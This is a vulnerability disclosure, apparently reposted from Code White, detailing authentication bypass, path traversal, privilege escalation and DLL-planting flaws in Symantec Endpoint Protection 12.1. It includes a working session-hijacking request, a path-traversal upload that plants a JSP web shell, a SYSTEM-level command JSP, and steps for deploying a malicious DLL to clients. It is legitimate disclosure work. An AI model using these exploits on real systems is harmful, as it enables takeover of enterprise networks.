Symantec Endpoint Protection Multiple Vulns

2015.08.01
Credit: Code White
Risk: High
Local: No
Remote: Yes
CWE: CWE-89

Code White found several vulnerabilities in Symantec Endpoint Protection (SEP), affecting versions 12.1 prior to 12.1 RU6 MP1. SEP Manager (SEPM): * CVE-2015-1486: Authentication Bypass * CVE-2015-1487: Arbitrary File Write * CVE-2015-1488: Arbitrary File Read * CVE-2015-1489: Privilege Escalation * CVE-2015-1490: Path Traversal * CVE-2015-1491: SQL Injection SEP clients: * CVE-2015-1492: Binary Planting Official Symantec advisory SYM15-007: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20150730_00 An exploitation of these vulnerabilities effectively allow an unauthenticated remote attacker the full compromise of both the SEPM server as well as SEP clients running Windows. This can result in a full compromise of an enterprise Windows domain. Symantec provided the update 12.1 RU6 MP1 to address the issues. For a full disclosure of some of the vulnerabilities, see: http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html --------------------- In a recent research project, Code White discovered several critical vulnerabilities in the Symantec Endpoint Protection (SEP) suite 12.1, affecting versions prior to 12.1 RU6 MP1 (see SYM15-007). As with any centralized enterprise management solution, compromising a management server is quite attractive for an attacker, as it generally allows some kind of control over its managed clients. Taking control of the manager can yield a takeover of the whole enterprise network. In this post, we will take a closer look at some of the discovered vulnerabilities in detail and demonstrate their exploitation. In combination, they effectively allow an unauthenticated attacker the execution of arbitrary commands with 'NT Authority\SYSTEM' privileges on both the SEP Manager (SEPM) server, as well as on SEP clients running Windows. That can result in the full compromise of a whole corporate network. Vulnerabilities in Symantec Endpoint Protection 12.1 Code White discovered the following vulnerabilities in Symantec Endpoint Protection 12.1: SEP Manager Authentication Bypass (CVE-2015-1486) Allows unauthenticated attackers access to SEPM Mulitple Path Traversals (CVE-2015-1487, CVE-2015-1488, CVE-2015-1490) Allows reading and writing arbitrary files, resulting in the execution of arbitrary commands with 'NT Service\semsrv' privileges Privilege Escalation (CVE-2015-1489) Allows the execution of arbitrary OS commands with 'NT Authority\SYSTEM' privileges Multiple SQL Injections (CVE-2015-1491) Allows the execution of arbitrary SQL SEP Clients Binary Planting (CVE-2015-1492) Allows the execution of arbitrary code with 'NT Authority\SYSTEM' privileges on SEP clients running Windows The objective of our research was to find a direct way to take over a whole Windows domain and thus aimed at a full compromise of the SEPM server and the SEP clients running on Windows. Executing post exploitation techniques, like lateral movement, would be the next step if the domain controller hasn't already been compromised by this. Therefore, we focused on SEPM's Remote Java or Web Console, which is probably the most exposed interface (accessible via TCP ports 8443 and 9090) and offers most of the functionalities of SEPM's remote interfaces. There are further entry points, which may also be vulnerable and exploitable to gain access to SEPM, its server, or the SEP clients. For example, SEP clients for Mac and Linux may also be vulnerable to Binary Planting. Attack Vector and Exploitation A full compromise of the SEPM server and SEP clients running Windows was possible through the following steps: Gaining administrative access to the SEP Manager (CVE-2015-1486) Full compromise of SEP Manager server (CVE-2015-1487 and CVE-2015-1489) Full compromise of SEP clients running Windows (CVE-2015-1492) CVE-2015-1486: SEPM Authentication Bypass SEPM uses sessions after the initial authentication. User information is stored in a AdminCredential object, which is associated to the user's session. Assigning the AdminCredential object to a session is implemented in the setAdminCredential method of ConsoleSession, which again holds an HttpSession object. This setAdminCredential method is only called at two points within the whole application: once in the LoginHandler and once in the ResetPasswordHandler. Its purpose in LoginHandler is obvious. But why is it used in the ResetPasswordHandler? Let's have a look at it! Password reset requests are handled by the ResetPasswordHandler handler class. The implementation of the handleRequest method of this handler class can be observed in the following listing: /* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc) /* */ { /* 72 */ this.requestData = requestData; /* 73 */ String userName = (String)requestData.get("UserID"); /* 74 */ String domainName = (String)requestData.get("Domain"); /* */ /* 76 */ NodeList list = doc.getElementsByTagName("Response"); /* 77 */ Element root = (Element)list.item(0); /* */ try /* */ { /* 80 */ if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) { /* 81 */ throw new ServerException(-2130182144, 186); /* */ } /* */ /* 84 */ checkIfSiteCanRecoverPasswords(); /* 85 */ init(); /* */ /* 87 */ if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) { /* 88 */ ServerLogger.log(Level.INFO, "Problem with Mail server Configuration"); /* 89 */ throw new ServerException(-2130182144, 179); /* */ } /* */ /* 92 */ AdminCredential credential = getCredential(requestData, session); /* */ /* 94 */ if ((credential != null) && (credential.getAdminID() != null)) { /* 95 */ Integer mode = credential.getOptAuthenticationMethod(); /* 96 */ if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) { /* 97 */ ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password."); /* */ /* 100 */ throw new ServerException(-2130182144, 191); /* */ } /* */ /* */ } /* */ /* 106-137 skipped */ /* */ /* */ } /* */ catch (ServerException e) { /* 142 */ root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId())); /* */ } /* */ } After the prologue in lines 72-84, the call to the init method calls the findAdminEmail method for looking up the recipient's e-mail address. Next, the getCredential method is called in line 92 to retrieve the AdminCredential object of the corresponding administrator. The AdminCredential object holds information on the administrator, e. g., if it's a system administrator or a domain administrator as well as an instance of the SemAdministrator class, which finally holds information such as the name, e-mail address, and hashed password of the administrator. The implementation of the getCredential method can be seen in the following listing: /* */ protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException /* */ { /* 367 */ session = session.getNewSession(); /* 368 */ AdminCredential credential = doGetAdminCredentialWithoutAuthentication(); /* 369 */ session.setAdminCredential(credential); /* 370 */ return credential; /* */ } Line 367 creates a new session, which effectively results in issuing a new JSESSIONID cookie to the client. In line 368, the doGetAdminCredentialWithoutAuthentication method is called to get the AdminCredential object without any authentication based on the provided UserID and Domain parameters. Finally – and fatally –, the looked up AdminCredential object is associated to the newly created session in line 369, making it a valid and authentic administrator's session. This very session is then handed back to the user who requested the password reset. So by requesting a password reset, you'll also get an authenticated administrator's session! An example of what a request for a password reset for the built-in system administrator 'admin' might look like can be seen in the following listing: POST /servlet/ConsoleServlet HTTP/1.1 Host: 192.168.40.133:8443 Content-Type: application/x-www-form-urlencoded Content-Length: 45 ActionType=ResetPassword&UserID=admin&Domain= And the response to the request: HTTP/1.1 200 OK Set-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnly X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: text/xml;charset=UTF-8 Date: Tue, 30 Jun 2015 11:19:30 GMT Server: SEPM Content-Length: 971 <?xml version="1.0" encoding="UTF-8" standalone="no"?> <Response ResponseCode="-2130181964"> <ReportingElement>&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?&gt;&#13; &lt;ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" Lang="en_US" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/&gt;&#13; </ReportingElement> </Response> The response contains the JSESSIONID cookie of the newly created session with the admin's AdminCredential object associated to it. Note that this session cannot be used with the Web console as it is missing some attribute required for AjaxSwing. However, it can be used to communicate with the other APIs like the SPC web services, which, for example, allows creating a new SEPM administrator. CVE-2015-1487: SEPM Arbitrary File Write The UploadPackage action of the BinaryFile handler is vulnerable to path traversal, which allows arbitrary files to be written. It is implemented by the BinaryFileHandler handler class. Its handleRequest method handles the requests and the implementation can be observed in the following listing: /* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc) /* */ { /* 54 */ NodeList list = doc.getElementsByTagName("Response"); /* 55 */ Element root = (Element)list.item(0); /* 56 */ String action = (String)requestData.get("Action"); /* 57 */ String id = (String)requestData.get("GUID"); /* 58 */ String fileType = (String)requestData.get("FILE_TYPE"); /* 59 */ String newId = (String)requestData.get("NEW_GUID"); /* */ /* 60-187 skipped */ /* */ /* 189 */ if (action.equalsIgnoreCase("UploadPackage")) { /* 190 */ String fileName = (String)requestData.get("PackageFile"); /* 191 */ String dirName = (String)requestData.get("KnownHosts"); /* */ /* 193 */ this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH); /* */ /* */ /* 196 */ if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("\\"))) { /* 197 */ this.packageTempPath = (this.packageTempPath + File.separator + dirName); /* */ } /* 199 */ String path = this.packageTempPath + File.separator + fileName; /* 200 */ FileOutputStream fos = null; /* 201 */ BufferedOutputStream bos = null; /* 202 */ Object is = null; /* 203 */ BufferedInputStream bis = null; /* */ /* 205 */ File folder = new File(this.packageTempPath); /* 206 */ if (!folder.exists()) { /* 207 */ if (!folder.mkdirs()) { /* 208 */ root.setAttribute("ResponseCode", String.valueOf(303169573)); /* */ } /* */ } /* */ else { /* */ try /* */ { /* 214 */ Utility.emptyDir(folder.getCanonicalPath(), false); /* */ } catch (IOException e) { /* 216 */ ServerLogger.log(this, e); /* 217 */ root.setAttribute("ResponseCode", String.valueOf(303169573)); /* */ /* 219 */ return; /* */ } /* */ } /* */ /* 223 */ byte[] buf = new byte[1024]; /* 224 */ int read = 0; /* */ try /* */ { /* 227 */ is = new BufferedInputStream(requestData.getInputStream()); /* 228 */ fos = new FileOutputStream(path); /* 229 */ bos = new BufferedOutputStream(fos); /* 230 */ bis = new BufferedInputStream((InputStream)is); /* 231 */ while ((read = bis.read(buf)) > 0) { /* 232 */ bos.write(buf, 0, read); /* */ } /* 234 */ bos.flush(); /* 235 */ root.setAttribute("ResponseCode", String.valueOf(0)); /* */ } catch (IOException ex) { /* 237 */ ServerLogger.log(this, ex); /* 238 */ root.setAttribute("ResponseCode", String.valueOf(303169573)); /* */ } /* */ finally /* */ { /* 242 */ IOUtilities.closeInputStream((InputStream)is); /* 243 */ IOUtilities.closeInputStream(bis); /* 244 */ IOUtilities.closeOutputStream(fos); /* 245 */ IOUtilities.closeOutputStream(bos); /* */ } /* */ /* 247-328 skipped */ /* */ /* */ } /* */ } Handling of the UploadPackage action starts at line 189. The PackageFile parameter value is used as file name and the KnownHosts parameter value as directory name. Interestingly, the provided directory name is checked for path traversal by looking for directory separators '/' and '\' (see line 196, possibly related to CVE-2014-3439). However, the file name is not, which still allows to specify any arbitrary file location. The following request results in writing the given POST request body data to the file located at '[…]\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\exec.jsp': POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1 Host: 192.168.40.133:8443 Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40 Content-Length: 124 <%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A").next()%> Writing a JSP web shell as shown allows the execution of arbitrary OS commands with 'NT Service\semsrv' privileges. CVE-2015-1489: SEPM Privilege Escalation The Symantec Endpoint Protection Launcher executable SemLaunchSvc.exe is running as a service on the SEPM server with 'NT Authority\SYSTEM' privileges. It is used to launch processes that require elevated privileges (e. g., LiveUpdate, ClientRemote, etc.). The service is listening on the loopback port 8447 and SEPM communicates with the service via encrypted messages. The communication endpoint in SEPM is the SemLaunchService class. One of the supported tasks is the CommonCMD, which results in command line parameters of a cmd.exe call. Since we are able to execute arbitrary Java code within SEPM's web server context, we can effectively execute commands with 'NT Authority\SYSTEM' privileges on the SEPM server. <%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> <% try { out.print(SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", request.getParameter("cmd")))); } catch (Exception e) { } %> CVE-2015-1492: SEP Client Binary Planting The client deployment process on Windows clients is vulnerable to Binary Planting. It is an attack exploiting the behavior of how Windows searches for files of dynamically loaded libraries when loading them via LoadLibrary only by their name. If it is possible for an attacker to place a custom DLL in one of the locations the DLL is searched in, it is possible to execute arbitrary code with the DllMain entry point function, which gets executed automatically on load. Symantec Endpoint Protection is vulnerable to this flaw: During the installation of a deployment package on a Windows client, the SEP client service ccSvcHst.exe starts the smcinst.exe from the installation package as a service. This service tries to load several DLLs, e. g., the UxTheme.dll. By deploying a specially crafted client installation package with a custom DLL, it is possible to execute arbitrary code with 'NT Authority\SYSTEM' privileges. A custom installation package containing a custom DLL can be constructed and deployed in SEPM with the following steps. Export Package Download an existing client installation package for Windows as a template: Go to 'Admin', 'Installation Packages'. Select a directory where you want to export it to. Select one of the existing packages for Windows and click on 'Export a Client Installation Package'. Untick the 'Create a single .EXE file for this package'. Untick the 'Export packages with policies from the following groups'. Click 'OK'. Modify Package Tamper with the client installation package template: Within the downloaded installation package files, delete the packlist.xml file. Open the setAid.ini file, delete the PackageChecksum line and increase the values of ServerVersion and ClientVersion to something like 12.2.0000 instead of 12.1.5337. Open the Setup.ini file and increase the ProductVersion value accordingly. Copy the custom DLL into the package directory and rename it UxTheme.dll. Import and deploy Package Create a new client installation package from the tampered files and deploy it to the clients: Go to 'Admin', 'Installation Packages'. Click 'Add a Client Installation Package'. Give it a name, select the directory of the tampered client installation package files, and upload it. Click 'Upgrade Clients with Package'. Choose the newly created client installation package and the group it should be deployed to. Open the 'Upgrade Settings', untick 'Maintain existing client features when upgrading' and select the default feature set for the target group, e. g., 'Full Protection for Clients'. Upgrade the clients by clicking 'Next'. The loading of the planted binary may take some while, probably due to some scheduling of the smcinst.exe service. Conclusion We have successfully demonstrated that a centralized enterprise management solution like the Symantec Endpoint Protection suite is a critical asset in a corporate network as unauthorized access to the manager can have unforeseen influence on the managed clients. In this case, an exposed Symantec Endpoint Protection Manager can result in the full compromise of a whole corporate domain.

References:

https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20150730_00
http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top